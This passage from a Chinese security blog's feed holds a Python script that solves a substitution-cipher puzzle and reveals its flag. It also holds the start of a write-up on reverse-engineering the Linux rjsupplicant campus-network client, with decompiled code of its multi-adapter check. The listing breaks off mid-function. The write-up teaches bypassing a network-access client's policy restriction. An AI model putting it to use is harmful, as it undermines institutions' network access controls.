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" alt> 最后是个简单的替换脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python  </span></span><br><span class="line"><span class="comment">#\-\*\- coding:utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="string">rois_yf</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></span><br><span class="line">    cipher = <span class="string">"oivqmqgn, yja vibem naarn yi yxbo sqnyab yjqo q zixuea is gaqbn qdi. ykra jqn zira yi baseazy yjqy qeni ko yja ujbqzw rqdqhkoa. yjkn kn vjqy yja uquab saam kn qpixy: gix nxprky q uquab, va backav ky qom ky dayn uxpeknjam. oi oaam yi vqky q rioyj ib yvi xoyke gix naa gixb qbykzea ko yja oafy ujbqzw knnxa, vjao yja ykra jqn zira, va'ee mazkma yi zirukea q oav knnxa sbir yja qbykzean yjqy jqca paao nxprkyyam. yjqy'n pqnkzqeeg ky. qom dbqp gix seqd jaba, zbguyiiiniziieqrkbkdjy?"</span></span><br><span class="line">    <span class="keyword">print</span></span><br><span class="line">    <span class="keyword">print</span> (cipher)</span><br><span class="line">    translate_table = string.maketrans(<span class="string">'yjaqnarikovbceszxupgmd'</span>, <span class="string">'theasemoinwrvlfcupbydg'</span>) </span><br><span class="line">    <span class="keyword">print</span> (cipher.translate(translate_table))</span><br><span class="line">    <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> \_\_name\_\_ == <span class="string">'\_\_main\_\_'</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;整理了一些东西，方便单表密码分析。 分析单表替换密码：&lt;a href=&quot;http://www.counton.org/explorer/codebreaking/frequency-analysis.php&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;h
      
    
    </summary>
    
    
      <category term="crypto" scheme="https://blog.eadom.net/tags/crypto/"/>
    
  </entry>
  
  <entry>
    <title>rjsupplicant for linux 锐捷代理破除多网卡限制</title>
    <link href="https://blog.eadom.net/uncategorized/rjsupplicant-for-linux/"/>
    <id>https://blog.eadom.net/uncategorized/rjsupplicant-for-linux/</id>
    <published>2014-04-03T03:48:39.000Z</published>
    <updated>2025-11-21T12:45:50.799Z</updated>
    
    <content type="html"><![CDATA[<p>福大锐捷更新了新版的。。。也有个linux版rjsupplicant rjsupplicant这个程序分x86和x64两个版本，启动时通过sh判断版本运行。 通过IDA加载x86的试试看，发现有带调试信息。。。一切就简单了。 先试试把多网卡处理掉，有调试信息的话先试试直接找函数看看。 尝试搜索字符串，多网卡就搜索multi试试，发现一个CAdapterDetectThread::MultipleAdaptesOrIPCheck函数 看下F5的</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">CAdapterDetectThread::MultipleAdaptesOrIPCheck</span><span class="params">(<span class="keyword">int</span> a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// eax@1</span></span><br><span class="line">  <span class="keyword">int</span> v2; <span class="comment">// ebx@2</span></span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// esi@6</span></span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> v4; <span class="comment">// ecx@6</span></span><br><span class="line">  <span class="keyword">char</span> v5; <span class="comment">// zf@6</span></span><br><span class="line">  <span class="keyword">int</span> v6; <span class="comment">// edi@6</span></span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// esi@10</span></span><br><span class="line">  <span class="keyword">int</span> *v8; <span class="comment">// eax@14</span></span><br><span class="line">  <span class="keyword">int</span> v9; <span class="comment">// eax@15</span></span><br><span class="line">  <span class="keyword">int</span> v11; <span class="comment">// \[sp+8h\] \[bp-60h\]@16</span></span><br><span class="line">  <span class="keyword">int</span> v12; <span class="comment">// \[sp+Ch\] 